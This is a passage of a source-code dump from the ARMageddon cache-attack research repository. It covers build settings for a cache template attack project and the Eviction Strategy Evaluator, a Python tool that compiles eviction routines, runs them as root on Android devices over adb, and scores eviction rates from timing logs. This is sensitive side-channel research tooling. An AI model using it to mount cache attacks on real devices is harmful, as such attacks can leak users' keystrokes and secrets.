${ANDROID_NDK_PATH}/platforms/${ANDROID_PLATFORM}/arch-arm64 5 | 6 | ANDROID_CC = ${ANDROID_TOOLCHAIN_BIN}/aarch64-linux-android-gcc 7 | ANDROID_CC_FLAGS = --sysroot=${ANDROID_SYSROOT} 8 | 9 | ANDROID_INCLUDES = -I ${ANDROID_NDK_PATH}/platforms/${ANDROID_PLATFORM}/arch-arm64/usr/include 10 | ANDROID_CFLAGS = ${ANDROID_INCLUDES} -march=armv8-a -fPIE 11 | ANDROID_LDFLAGS = ${ANDROID_INCLUDES} -march=armv8-a -fPIE 12 | 13 | CC = ${ANDROID_CC} ${ANDROID_CC_FLAGS} 14 | CFLAGS += ${ANDROID_CFLAGS} -flto 15 | LDFLAGS += ${ANDROID_LDFLAGS} -pie -flto 16 | -------------------------------------------------------------------------------- /cache_template_attacks/config.mk: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | # project 4 | PROJECT = cache_template_attack 5 | VERSION = 0.0.1 6 | 7 | # arch 8 | ARCH = x86 9 | 10 | # version checks 11 | # If you want to disable any of the checks, set *_VERSION_CHECK to 0. 12 | 13 | LIBFLUSH_VERSION_CHECK ?= 1 14 | LIBFLUSH_MIN_VERSION = 0.0.1 15 | LIBFLUSH_PKG_CONFIG_NAME = libflush 16 | 17 | # pkg-config binary 18 | PKG_CONFIG ?= pkg-config 19 | 20 | # paths 21 | PREFIX ?= /usr 22 | DEPENDDIR ?= .depend 23 | BUILDDIR ?= build/${ARCH} 24 | BUILDDIR_RELEASE ?= ${BUILDDIR}/release 25 | BUILDDIR_DEBUG ?= ${BUILDDIR}/debug 26 | BINDIR ?= bin 27 | 28 | # libs 29 | LIBFLUSH_INC ?= $(shell ${PKG_CONFIG} --cflags libflush) 30 | LIBFLUSH_LIB ?= $(shell ${PKG_CONFIG} --libs libflush) 31 | 32 | INCS = ${LIBFLUSH_INC} 33 | LIBS = ${LIBFLUSH_LIB} 34 | 35 | # compiler flags 36 | CFLAGS += -std=c11 -pedantic -Wall -Wno-format-zero-length -Wextra -O3 $(INCS) 37 | 38 | # debug 39 | DFLAGS ?= -g 40 | 41 | # linker flags 42 | LDFLAGS += -rdynamic 43 | 44 | # compiler 45 | CC ?= gcc 46 | 47 | # strip 48 | SFLAGS ?= -s 49 | 50 | # valgrind 51 | VALGRIND = valgrind 52 | VALGRIND_ARGUMENTS = --tool=memcheck --leak-check=yes --leak-resolution=high \ 53 | --show-reachable=yes --log-file=${PROJECT}-valgrind.log 54 | VALGRIND_SUPPRESSION_FILE = ${PROJECT}.suppression 55 | 56 | # set to something != 0 if you want verbose build output 57 | VERBOSE ?= 0 58 | 59 | # colors 60 | COLOR ?= 1 61 | 62 | # dist 63 | TARFILE = ${PROJECT}-${VERSION}.tar.gz 64 | TARDIR = ${PROJECT}-${VERSION} 65 | 66 | # android 67 | ANDROID_PLATFORM ?= android-21 68 | 69 | # android device 70 | WITH_ANDROID ?= 0 71 | 72 | # thread support 73 | WITH_THREADS ?= 0 74 | -------------------------------------------------------------------------------- /cache_template_attacks/images/keyboard_sentence.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/isec-tugraz/armageddon/96ebc2d86e0454947a6cb2345cb93e984f5f6d39/cache_template_attacks/images/keyboard_sentence.png -------------------------------------------------------------------------------- /eviction_strategy_evaluator/.gitignore: -------------------------------------------------------------------------------- 1 | build/ 2 | logs/ 3 | _tmp/ 4 | .ropeproject 5 | *.db 6 | *.csv 7 | *.yml 8 | *.pyc 9 | *.egg-info 10 | __pycache__ 11 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2015-2016 Moritz Lipp 2 | 3 | This software is provided 'as-is', without any express or implied 4 | warranty. In no event will the authors be held liable for any damages 5 | arising from the use of this software. 6 | 7 | Permission is granted to anyone to use this software for any purpose, 8 | including commercial applications, and to alter it and redistribute it 9 | freely, subject to the following restrictions: 10 | 11 | 1. The origin of this software must not be misrepresented; you must not 12 | claim that you wrote the original software. If you use this software 13 | in a product, an acknowledgment in the product documentation would be 14 | appreciated but is not required. 15 | 16 | 2. Altered source versions must be plainly marked as such, and must not be 17 | misrepresented as being the original software. 18 | 19 | 3. This notice may not be removed or altered from any source 20 | distribution. 21 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/README.md: -------------------------------------------------------------------------------- 1 | # Eviction Strategy Evaluator 2 | 3 | Eviction Strategy Evaluator is a tool that utilizes [libflush](../libflush) to 4 | find an effective and fast eviction strategy for any device. 5 | 6 | It has been used for our [ARMageddon: Cache Attacks on Mobile Devices](https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/lipp) paper by Lipp, Gruss, Spreitzer, Maurice and Mangard that has been published at the Usenix Security Symposium 2016 and presented at [Black Hat Europe 2016](https://www.blackhat.com/eu-16/briefings/schedule/index.html#armageddon-how-your-smartphone-cpu-breaks-software-level-security-and-privacy-4887). 7 | 8 | ## Table of content 9 | 10 | - [Installation](#installation) 11 | - [Dependencies](#dependencies) 12 | - [Usage](#usage) 13 | - [Configuration](#configuration) 14 | - [Global configuration](#global-configuration) 15 | - [Device configuration](#device-configuration) 16 | - [Example](#example) 17 | - [License](#license) 18 | - [References](#references) 19 | 20 | ## Installation 21 | 22 | The tool is shipped with a setup.py and can be compiled by running: 23 | ```bash 24 | python setup.py install 25 | ``` 26 | 27 | ### Dependencies 28 | Eviction Strategy Evaluator builds the source code of [libflush](../libflush) 29 | and, thus, the dependencies of [libflush](../libflush) need to be installed on 30 | the host system. In addition, it requires the following dependencies: 31 | 32 | * [click](http://click.pocoo.org) (required) 33 | * [PyYAML](http://pyyaml.org) (required) 34 | * [pandas](http://pandas.pydata.org) (required) 35 | * [adb](https://developer.android.com/studio/command-line/adb.html) (to 36 | communicate with Android devices) 37 | 38 | ## Usage 39 | 40 | ```bash 41 | eviction_strategy_evaluator [OPTIONS] [COMMAND_OPTIONS] 42 | ``` 43 | 44 | The following options are available: 45 | 46 | * **-c, --configuration-file** (required) 47 | 48 | Path to the used global configuration file. 49 | 50 | * **-x, --device-configuration-file** (required) 51 | 52 | Path to the used device configuration file. 53 | 54 | * **-v, --verbose** 55 | 56 | Verbose mode 57 | 58 | * **-f, --force** 59 | 60 | Force mode to override files and re-compile existing binaries. 61 | 62 | * **--help** 63 | 64 | Show the help information. 65 | 66 | The following commands are available: 67 | 68 | * **evaluate_strategy** 69 | 70 | Evaluates a single log file LOGFILE using the given 71 | threshold. 72 | 73 | The following options are available: 74 | 75 | * **-t, --threshold** (required) 76 | 77 | The threshold that is used to distinguish between a cache hit and a cache 78 | miss. 79 | 80 | * **evaluate_strategies** [OPTIONS] LOGFILE_DIRECTORY 81 | 82 | Evaluates all log files in the given LOGFILE_DIRECTORY using the given 83 | threshold. 84 | 85 | The following options are available: 86 | 87 | * **-t, --threshold** (required) 88 | 89 | The threshold that is used to distinguish between a cache hit and a cache 90 | miss. 91 | 92 | * **run_strategy** 93 | 94 | Compiles an eviction strategy for the target devices and executes it. Then 95 | it will pull the log file. 96 | 97 | The following options are available: 98 | 99 | * **-n, --number-of-measurements** 100 | 101 | The number of measurements that should be taken. 102 | 103 | * **-e, --eviction-counter** (required) 104 | 105 | The number of loop executions. 106 | 107 | * **-a, --number-of-accesses-in-loop** (required) 108 | 109 | The number of accesses in a loop. 110 | 111 | * **-d, --different-addresses-in-loop** (required) 112 | 113 | The number of accesses to different addresses in a loop. 114 | 115 | * **-s, --step-size** 116 | 117 | The loop increment. 118 | 119 | * **-m, --mirroring** 120 | 121 | If the eviction strategy should be mirrored. 122 | 123 | * **run_strategies** 124 | 125 | Compile and run multiple eviction strategies for the target devices and executes them. Then 126 | it will pull the log files. 127 | 128 | The following options are available: 129 | 130 | * **-n, --number-of-measurements** 131 | 132 | The number of measurements that should be taken. 133 | 134 | * **-e, --max-eviction-counter** (required) 135 | 136 | The maximum number of loop executions. 137 | 138 | * **-a, --max-number-of-accesses-in-loop** (required) 139 | 140 | The maximum number of accesses in a loop. 141 | 142 | * **-d, --max-different-addresses-in-loop** (required) 143 | 144 | The maximum number of accesses to different addresses in a loop. 145 | 146 | * **-s, --max-step-size** 147 | 148 | The maximum loop increment. 149 | 150 | * **-m, --with-mirroring** 151 | 152 | If the eviction strategies should be also tested with mirroring. 153 | 154 | ## Configuration 155 | 156 | In order to use the eviction strategy evaluator you need two different 157 | configuration files. One global configuration file specifying the location of 158 | the source of [libflush](../libflush) as well as the directories used for 159 | storing the executables and logfiles. In addition, you need a device 160 | configuration file that specifies several properties of the target device. 161 | 162 | ### Global configuration 163 | 164 | The global configuration file must provide the following entries: 165 | 166 | ```yml 167 | libflush: 168 | source-directory: /path/to/libflush 169 | build: 170 | directory: /path/to/builds 171 | logs: 172 | directory: /path/to/logs 173 | ``` 174 | 175 | ### Device configuration 176 | 177 | The device configuration file must provide the following entries: 178 | 179 | ```yml 180 | device: 181 | name: Alcatel POP2 Touch 182 | codename: alto45 183 | arch: armv7 184 | adb-id: e7e3ca47 185 | executable-directory: /data/local/tmp 186 | log-directory: /data/local/tmp 187 | threshold: 95 188 | cache: 189 | number-of-sets: 512 190 | line-length: 64 191 | ``` 192 | 193 | ## Example 194 | 195 | After you have created your configuration files you can evaluate different 196 | strategies on it: 197 | 198 | eviction_strategy_evaluator -c config.yml -x alto45.yml run_strategies -e 25 -a 10 -d 10 199 | 200 | Then you can evaluate them: 201 | 202 | eviction_strategy_evaluator -c config.yml -x alto45.yml evaluate_strategies /tmp/logs/alto45 -t 95 203 | 204 | You will end up with a ``strategies.db`` as well as a ``strategies.csv`` file. 205 | 206 | ## License 207 | 208 | [Licensed](LICENSE) under the zlib license. 209 | 210 | ## References 211 | 212 | * [1] [ARMageddon: Cache Attacks on Mobile Devices (USENIX Security 2016) - Lipp, Gruss, Spreitzer, Maurice, Mangard](https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/lipp) 213 | * [2] [ARMageddon: How Your Smartphone CPU Breaks Software-Level Security and Privacy (Black Hat Europe 2016) - Lipp, Maurice](https://www.blackhat.com/eu-16/briefings/schedule/index.html#armageddon-how-your-smartphone-cpu-breaks-software-level-security-and-privacy-4887) 214 | * [3] [Cache Template Attacks: Automating Attacks on Inclusive Last-Level Caches (USENIX Security 2015) - Gruss, Spreitzer, Mangard](https://www.usenix.org/node/191011) 215 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/eviction_strategy_evaluator/__init__.py: -------------------------------------------------------------------------------- 1 | # libflush_eviction_evaluator 2 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/eviction_strategy_evaluator/build.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | from .utils import execute_command 4 | 5 | logger = logging.getLogger('default') 6 | 7 | 8 | class Builder(object): 9 | def __init__(self, configuration, strategy): 10 | self.configuration = configuration 11 | self.strategy = strategy 12 | 13 | # create build directory 14 | device_codename = self.strategy.device_configuration['device']['codename'] 15 | self.build_dir = os.path.join(configuration['build']['directory'], device_codename, self.strategy.get_name()) 16 | 17 | if not os.path.exists(self.build_dir): 18 | os.makedirs(self.build_dir) 19 | 20 | # create strategy file 21 | self.strategy_file = os.path.join(self.build_dir, "strategy.h") 22 | self.strategy.save_strategy_to_file(self.strategy_file) 23 | 24 | def build(self, force): 25 | if os.path.exists(self.get_executable_path()) and not force: 26 | logger.info('Executable has already been build.') 27 | return False 28 | 29 | self.build_libflush() 30 | self.build_executable() 31 | 32 | return True 33 | 34 | def build_libflush(self): 35 | logger.info("Building libflush...") 36 | 37 | # compile libflush 38 | libflush_srcdir = self.configuration['libflush']['source-directory'] 39 | architecture = self.strategy.device_configuration['device']['arch'] 40 | 41 | libflush_build_dir = os.path.join(self.build_dir, "libflush") 42 | if not os.path.exists(libflush_build_dir): 43 | os.makedirs(libflush_build_dir) 44 | 45 | libflush_depend_dir = os.path.join(self.build_dir, ".depend") 46 | if not os.path.exists(libflush_depend_dir): 47 | os.makedirs(libflush_depend_dir) 48 | 49 | execute_command([ 50 | "make", 51 | "-C", 52 | libflush_srcdir, 53 | "ARCH=" + architecture, 54 | "BUILDDIR=" + libflush_build_dir, 55 | "DEPENDDIR=" + libflush_depend_dir, 56 | "DEVICE_CONFIGURATION=" + self.strategy_file, 57 | "USE_EVICTION=1", 58 | "clean" 59 | ]) 60 | 61 | execute_command([ 62 | "make", 63 | "-C", 64 | libflush_srcdir, 65 | "ARCH=" + architecture, 66 | "BUILDDIR=" + libflush_build_dir, 67 | "DEPENDDIR=" + libflush_depend_dir, 68 | "DEVICE_CONFIGURATION=" + self.strategy_file, 69 | "USE_EVICTION=1" 70 | ]) 71 | 72 | def build_executable(self): 73 | logger.info("Building executable...") 74 | 75 | current_path = os.path.dirname(os.path.abspath(__file__)) 76 | executable_srcdir = os.path.join(current_path, "source") 77 | libflush_srcdir = self.configuration['libflush']['source-directory'] 78 | architecture = self.strategy.device_configuration['device']['arch'] 79 | libflush_build_dir = os.path.join(self.build_dir, "libflush") 80 | 81 | executable_build_dir = os.path.join(self.build_dir, "executable") 82 | if not os.path.exists(executable_build_dir): 83 | os.makedirs(executable_build_dir) 84 | 85 | executable_depend_dir = os.path.join(self.build_dir, ".depend") 86 | if not os.path.exists(executable_depend_dir): 87 | os.makedirs(executable_depend_dir) 88 | 89 | execute_command([ 90 | "make", 91 | "-C", 92 | executable_srcdir, 93 | "LIBFLUSH_SOURCE=" + libflush_srcdir, 94 | "LIBFLUSH_INC=" + libflush_srcdir, 95 | "LIBFLUSH_BUILDDIR=" + libflush_build_dir, 96 | "DEPENDDIR=" + executable_depend_dir, 97 | "ARCH=" + architecture, 98 | "BUILDDIR=" + executable_build_dir, 99 | "clean" 100 | ]) 101 | 102 | execute_command([ 103 | "make", 104 | "-C", 105 | executable_srcdir, 106 | "LIBFLUSH_SOURCE=" + libflush_srcdir, 107 | "LIBFLUSH_INC=" + libflush_srcdir, 108 | "LIBFLUSH_BUILDDIR=" + libflush_build_dir, 109 | "DEPENDDIR=" + executable_depend_dir, 110 | "ARCH=" + architecture, 111 | "BUILDDIR=" + executable_build_dir 112 | ]) 113 | 114 | def get_executable_path(self): 115 | executable_build_dir = os.path.join(self.build_dir, "executable") 116 | executable_path = os.path.join(executable_build_dir, "release/bin/executable") 117 | 118 | return executable_path 119 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/eviction_strategy_evaluator/config.py: -------------------------------------------------------------------------------- 1 | import yaml 2 | import logging 3 | from collections import Iterable 4 | 5 | logger = logging.getLogger('default') 6 | 7 | 8 | def check_subconfiguration(config, identifier, config_variables): 9 | invalid_configuration = False 10 | 11 | if identifier not in config: 12 | invalid_configuration = True 13 | logger.debug('No "cache" section in device configuration') 14 | elif not isinstance(config[identifier], Iterable): 15 | logger.debug('"%s" is no valid section in the device configuration', identifier) 16 | invalid_configuration = True 17 | else: 18 | for config_name, config_type, config_required in config_variables: 19 | if config_name not in config[identifier]: 20 | if config_required is True: 21 | logger.debug('No "%s" defined in "%s" section of the device configuration', config_name, identifier) 22 | invalid_configuration = True 23 | continue 24 | 25 | if type(config[identifier][config_name]) is not config_type: 26 | logger.debug('Incorrect type for "%s" defined in the "%s" section of the device configuration', config_name, identifier) 27 | invalid_configuration = True 28 | continue 29 | 30 | return invalid_configuration 31 | 32 | def parse_configuration(filename): 33 | try: 34 | config = yaml.safe_load(open(filename)) 35 | except: 36 | return None 37 | 38 | invalid_configuration = False 39 | 40 | libflush_config_names = [ 41 | ('source-directory', str, True) 42 | ] 43 | 44 | invalid_configuration = check_subconfiguration(config, 'libflush', libflush_config_names) 45 | 46 | build_config_names = [ 47 | ('directory', str, True) 48 | ] 49 | 50 | invalid_configuration = check_subconfiguration(config, 'build', build_config_names) 51 | 52 | logs_config_names = [ 53 | ('directory', str, True) 54 | ] 55 | 56 | invalid_configuration = check_subconfiguration(config, 'logs', logs_config_names) 57 | 58 | if invalid_configuration is True: 59 | return None 60 | 61 | return config 62 | 63 | 64 | def parse_device_configuration(filename): 65 | try: 66 | config = yaml.safe_load(open(filename)) 67 | except: 68 | return None 69 | 70 | invalid_configuration = False 71 | 72 | device_config_names = [ 73 | ('name', str, False), 74 | ('codename', str, True), 75 | ('arch', str, True), 76 | ('threshold', int, False), 77 | ('adb-id', str, False), 78 | ('executable-directory', str, False), 79 | ('log-directory', str, False) 80 | ] 81 | 82 | invalid_configuration = check_subconfiguration(config, 'device', device_config_names) 83 | 84 | cache_config_names = [ 85 | ('number-of-sets', int, True), 86 | ('line-length', int, True) 87 | ] 88 | 89 | invalid_configuration = check_subconfiguration(config, 'cache', cache_config_names) 90 | 91 | if invalid_configuration is True: 92 | return None 93 | 94 | return config 95 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/eviction_strategy_evaluator/evaluate.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pandas as pd 3 | import numpy as np 4 | import logging 5 | 6 | 7 | def evaluate_strategy_logfile(logfile, device_configuration, threshold): 8 | # read log file 9 | try: 10 | df = pd.read_csv(logfile, dtype={'Miss': float, 'Runtime': float, 'RuntimeBatch': float}) 11 | except: 12 | return None 13 | number_of_batches = df.count().RuntimeBatch 14 | number_of_measurements = df.count().Miss 15 | # df.loc[len(str(df.Runtime)) > 15] = np.nan 16 | # df = df.convert_objects(convert_numeric=True) 17 | 18 | # parse filename 19 | strategy_name = os.path.basename(logfile)[:-4] 20 | parts = strategy_name.split("-") 21 | if len(parts) != 5: 22 | logging.error('Invalid filename: "%s"', logfile) 23 | return None 24 | 25 | logging.info('Evaluating %s' % strategy_name) 26 | print('Evaluating %s' % strategy_name) 27 | 28 | number_of_addresses = parts[0] 29 | number_of_accesses_in_loop = parts[1] 30 | different_addresses_in_loop = parts[2] 31 | step_size = parts[3] 32 | mirrored = True if parts[4] is "M" else False 33 | 34 | # filter outliners 35 | df = df[np.abs(df-df.mean()) <= (3*df.std())] 36 | df_count = df.count() 37 | 38 | # calculate eviction rate 39 | correct_misses = df.Miss[df.Miss > threshold].size 40 | all_misses = df_count.Miss 41 | 42 | rate = correct_misses / all_misses * 100.0 43 | 44 | # calculate average runtime 45 | # architecture = device_configuration['device']['arch'] 46 | # if architecture == "armv7": # div64 is enabled by default 47 | # df.RuntimeBatch *= 64 48 | 49 | average_runtime = df.Runtime.mean() 50 | average_runtime_batch = df.RuntimeBatch.mean() 51 | batch_size = number_of_measurements / number_of_batches 52 | 53 | overhead = average_runtime - (average_runtime_batch / batch_size) 54 | 55 | # print("Average runtime: %d" % average_runtime) 56 | # print("Average runtime (batch) %d" % average_runtime_batch) 57 | # print("Average runtime per batch: %d" % (average_runtime_batch / batch_size)) 58 | # print("Number of batches: %d" % number_of_batches) 59 | # print("Batch size: %d" % batch_size) 60 | # print("Overhead: %d" % overhead) 61 | 62 | return { 63 | "rate": rate, 64 | "average_runtime": average_runtime - overhead, 65 | "number_of_addresses": number_of_addresses, 66 | "number_of_accesses_in_loop": number_of_accesses_in_loop, 67 | "different_addresses_in_loop": different_addresses_in_loop, 68 | "step_size": step_size, 69 | "mirroring": mirrored, 70 | "raw": [strategy_name, number_of_addresses, number_of_accesses_in_loop, different_addresses_in_loop, step_size, mirrored, rate, average_runtime] 71 | } 72 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/eviction_strategy_evaluator/executor.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | 4 | from .utils import execute_command 5 | 6 | logger = logging.getLogger('default') 7 | 8 | 9 | class Executor(object): 10 | def __init__(self, configuration, strategy, builder): 11 | self.configuration = configuration 12 | self.strategy = strategy 13 | self.builder = builder 14 | self.device_configuration = self.strategy.device_configuration 15 | 16 | def run(self, number_of_runs, force): 17 | local_executable = self.builder.get_executable_path() 18 | 19 | # create logdir 20 | device_codename = self.strategy.device_configuration['device']['codename'] 21 | log_dir = os.path.join(self.configuration['logs']['directory'], device_codename) 22 | if not os.path.exists(log_dir): 23 | os.makedirs(log_dir) 24 | local_logfile = os.path.join(log_dir, self.strategy.get_name() + ".log") 25 | 26 | # check if log file exists 27 | if os.path.exists(local_logfile) and not force: 28 | logger.info('Strategy logfile already exists.') 29 | return False 30 | 31 | if 'adb-id' in self.device_configuration['device']: 32 | return self.__run_android(local_executable, local_logfile, number_of_runs) 33 | else: 34 | return self.__run_local(local_executable, local_logfile, number_of_runs) 35 | 36 | def __run_android(self, local_executable, local_logfile, number_of_runs): 37 | remote_executeable_dir = self.device_configuration['device']['executable-directory'] 38 | remote_executable = os.path.join(remote_executeable_dir, self.strategy.get_name()) 39 | remote_logfile = os.path.join(remote_executeable_dir, self.strategy.get_name() + ".log") 40 | adb_id = self.device_configuration['device']['adb-id'] 41 | 42 | # Upload 43 | logger.info("Uploading executable") 44 | execute_command([ 45 | "adb", 46 | "-s", adb_id, 47 | "push", 48 | local_executable, 49 | remote_executable 50 | ]) 51 | 52 | # Setting chmod 53 | logger.info("Setting change mode") 54 | execute_command([ 55 | "adb", 56 | "-s", adb_id, 57 | "shell", 58 | "su", 59 | "-c", 60 | "'", 61 | "chmod", 62 | "777", 63 | remote_executable, 64 | "'" 65 | ]) 66 | 67 | # Running 68 | logger.info("Running measurements") 69 | execute_command([ 70 | "adb", 71 | "-s", adb_id, 72 | "shell", 73 | "su", 74 | "-c", 75 | "'", 76 | remote_executable, 77 | "-n", str(number_of_runs), 78 | "-c", "0", 79 | remote_logfile, 80 | "'" 81 | ]) 82 | 83 | execute_command([ 84 | "adb", 85 | "-s", adb_id, 86 | "shell", 87 | "su", 88 | "-c", 89 | "'", 90 | "chmod", 91 | "777", 92 | remote_logfile, 93 | "'" 94 | ]) 95 | 96 | # Running 97 | logger.info("Fetching results") 98 | execute_command([ 99 | "adb", 100 | "-s", adb_id, 101 | "pull", 102 | remote_logfile, 103 | local_logfile 104 | ]) 105 | 106 | # Clean-up 107 | logger.info("Cleaning up") 108 | execute_command([ 109 | "adb", 110 | "-s", adb_id, 111 | "shell", 112 | "su", 113 | "-c", 114 | "'", 115 | "rm", 116 | remote_executable, 117 | "'" 118 | ]) 119 | 120 | execute_command([ 121 | "adb", 122 | "-s", adb_id, 123 | "shell", 124 | "su", 125 | "-c", 126 | "'", 127 | "rm", 128 | remote_logfile, 129 | "'" 130 | ]) 131 | 132 | return True 133 | 134 | def __run_local(self, local_executable, local_logfile, number_of_runs): 135 | execute_command([ 136 | local_executable, 137 | "-n", str(number_of_runs), 138 | local_logfile 139 | ]) 140 | 141 | return True 142 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/eviction_strategy_evaluator/log.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | 4 | def setup_custom_logger(name): 5 | formatter = logging.Formatter(fmt='%(asctime)s - %(levelname)s - %(module)s - %(message)s') 6 | 7 | handler = logging.StreamHandler() 8 | handler.setFormatter(formatter) 9 | 10 | logger = logging.getLogger(name) 11 | logger.setLevel(logging.INFO) 12 | logger.addHandler(handler) 13 | return logger 14 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/eviction_strategy_evaluator/main.py: -------------------------------------------------------------------------------- 1 | import click 2 | import logging 3 | import os 4 | import pandas as pd 5 | import sqlite3 6 | from . import log 7 | 8 | logger = log.setup_custom_logger('default') 9 | 10 | from .strategy import Strategy 11 | from .build import Builder 12 | from .executor import Executor 13 | from .evaluate import evaluate_strategy_logfile 14 | 15 | from eviction_strategy_evaluator.config import parse_device_configuration 16 | from eviction_strategy_evaluator.config import parse_configuration 17 | 18 | def run_strategy(ctx, number_of_measurements, eviction_counter, number_of_accesses_in_loop, 19 | different_addresses_in_loop, step_size, mirroring): 20 | """Builds and runs an eviction strategy""" 21 | configuration = ctx.obj['configuration'] 22 | device_configuration = ctx.obj['device-configuration'] 23 | 24 | strategy = Strategy(configuration, device_configuration, 25 | eviction_counter, 26 | number_of_accesses_in_loop, 27 | different_addresses_in_loop, 28 | step_size, 29 | mirroring) 30 | 31 | logger.info("Evaluating %s", strategy.get_name()) 32 | 33 | strategy.build(ctx.obj['force']) 34 | strategy.run(number_of_measurements, ctx.obj['force']) 35 | 36 | return strategy 37 | 38 | @click.command('run_strategy') 39 | @click.option('-n', '--number-of-measurements', type=int, required=False, default=10000) 40 | @click.option('-e', '--eviction-counter', type=int, required=True) 41 | @click.option('-a', '--number-of-accesses-in-loop', type=int, required=True) 42 | @click.option('-d', '--different-addresses-in-loop', type=int, required=True) 43 | @click.option('-s', '--step-size', type=int, required=False, default=1) 44 | @click.option('-m', '--mirroring', type=bool, required=False, default=False) 45 | @click.pass_context 46 | def cmd_run_strategy(ctx, number_of_measurements, eviction_counter, number_of_accesses_in_loop, 47 | different_addresses_in_loop, step_size, mirroring): 48 | device_configuration = ctx.obj['device-configuration'] 49 | 50 | strategy = run_strategy(ctx, number_of_measurements, eviction_counter, number_of_accesses_in_loop, 51 | different_addresses_in_loop, step_size, mirroring) 52 | 53 | logfile = strategy.get_logfile_name() 54 | 55 | # read log file 56 | result = evaluate_strategy_logfile(logfile, device_configuration, device_configuration['device']['threshold']) 57 | if result: 58 | logger.info("Eviction rate: %f%%", result['rate']) 59 | logger.info("Average runtime: %f", result['average_runtime']) 60 | 61 | @click.command('run_strategies') 62 | @click.option('-n', '--number-of-measurements', type=int, required=False, default=10000) 63 | @click.option('-e', '--max-eviction-counter', type=int, required=True) 64 | @click.option('-a', '--max-number-of-accesses-in-loop', type=int, required=True) 65 | @click.option('-d', '--max-different-addresses-in-loop', type=int, required=True) 66 | @click.option('-s', '--max-step-size', type=int, required=False, default=1) 67 | @click.option('-m', '--with-mirroring', type=bool, required=False, default=False) 68 | @click.pass_context 69 | def cmd_run_strategies(ctx, number_of_measurements, max_eviction_counter, max_number_of_accesses_in_loop, 70 | max_different_addresses_in_loop, max_step_size, with_mirroring): 71 | # Generate all strategies and test them 72 | for a_i in range(max_number_of_accesses_in_loop, 0, -1): 73 | for d_i in range(max_different_addresses_in_loop, 0, -1): 74 | for s_i in range(max_step_size, 0, -1): 75 | if d_i < s_i: 76 | continue 77 | 78 | for e_i in range(max_eviction_counter, 0, -1): 79 | number_of_addresses = e_i + d_i - 1 80 | if (number_of_addresses >= d_i): 81 | run_strategy(ctx, number_of_measurements, e_i, a_i, d_i, s_i, False) 82 | 83 | if with_mirroring is True: 84 | run_strategy(ctx, number_of_measurements, e_i, a_i, d_i, s_i, True) 85 | 86 | @click.command('evaluate_strategy') 87 | @click.argument('logfile', type=click.Path(exists=True), required=True) 88 | @click.option('-t', '--threshold', type=int, required=True) 89 | @click.pass_context 90 | def cmd_evaluate_strategy(ctx, logfile, threshold): 91 | device_configuration = ctx.obj['device-configuration'] 92 | 93 | # read log file 94 | result = evaluate_strategy_logfile(logfile, device_configuration, threshold) 95 | 96 | logger.info("Eviction rate: %f%%", result['rate']) 97 | logger.info("Average runtime: %f", result['average_runtime']) 98 | 99 | @click.command('evaluate_strategies') 100 | @click.argument('logfile-directory', type=click.Path(exists=True), required=True) 101 | @click.option('-t', '--threshold', type=int, required=True) 102 | @click.pass_context 103 | def cmd_evaluate_strategies(ctx, logfile_directory, threshold): 104 | device_configuration = ctx.obj['device-configuration'] 105 | 106 | results = [] 107 | for f in sorted(os.listdir(logfile_directory)): 108 | if not f.endswith(".log"): 109 | continue 110 | 111 | logfile = os.path.join(logfile_directory, f) 112 | 113 | # read log file 114 | result = evaluate_strategy_logfile(logfile, device_configuration, threshold) 115 | if result is not None: 116 | results.append(result['raw']) 117 | 118 | df = pd.DataFrame(results, columns=['Strategy', 'Number of addresses', 'Number of accesses in loop', 'Different addresses in loop', 119 | 'Step size', 'Mirrored', 'Rate', 'Average runtime']) 120 | df = df.sort(['Strategy']) 121 | 122 | df.to_csv('strategies.csv') 123 | 124 | conn = sqlite3.connect('strategies.db') 125 | df.to_sql('strategies', conn) 126 | 127 | 128 | @click.group() 129 | @click.option('-v', '--verbose', count=True, default=False) 130 | @click.option('-f', '--force', is_flag=True) 131 | @click.option('-c', '--configuration-file', type=click.Path(exists=True), required=True) 132 | @click.option('-x', '--device-configuration-file', type=click.Path(exists=True), required=True) 133 | @click.pass_context 134 | def cli(ctx, verbose, force, configuration_file, device_configuration_file): 135 | if verbose is True: 136 | logger.setLevel(logging.DEBUG) 137 | 138 | configuration = parse_configuration(configuration_file) 139 | if configuration is None: 140 | ctx.fail('Could not parse configuration file') 141 | 142 | device_configuration = parse_device_configuration(device_configuration_file) 143 | if device_configuration is None: 144 | ctx.fail('Could not parse device configuration file') 145 | 146 | ctx.obj['configuration'] = configuration 147 | ctx.obj['device-configuration'] = device_configuration 148 | ctx.obj['force'] = force 149 | 150 | cli.add_command(cmd_run_strategy) 151 | cli.add_command(cmd_run_strategies) 152 | cli.add_command(cmd_evaluate_strategy) 153 | cli.add_command(cmd_evaluate_strategies) 154 | 155 | 156 | def main(): 157 | cli(obj={}) 158 | 159 | if __name__ == '__main__': 160 | main() 161 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/eviction_strategy_evaluator/source/Makefile: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | include ${LIBFLUSH_SOURCE}/config.mk 4 | include ${LIBFLUSH_SOURCE}/common.mk 5 | include ${LIBFLUSH_SOURCE}/colors.mk 6 | 7 | PROJECT = executable 8 | SOURCE = $(wildcard *.c) 9 | OBJECTS = $(addprefix ${BUILDDIR_RELEASE}/,${SOURCE:.c=.o}) 10 | OBJECTS_DEBUG = $(addprefix ${BUILDDIR_DEBUG}/,${SOURCE:.c=.o}) 11 | 12 | INCS += -I${LIBFLUSH_INC} 13 | 14 | LIBFLUSH_RELEASE=${LIBFLUSH_BUILDDIR}/release/libflush.a 15 | 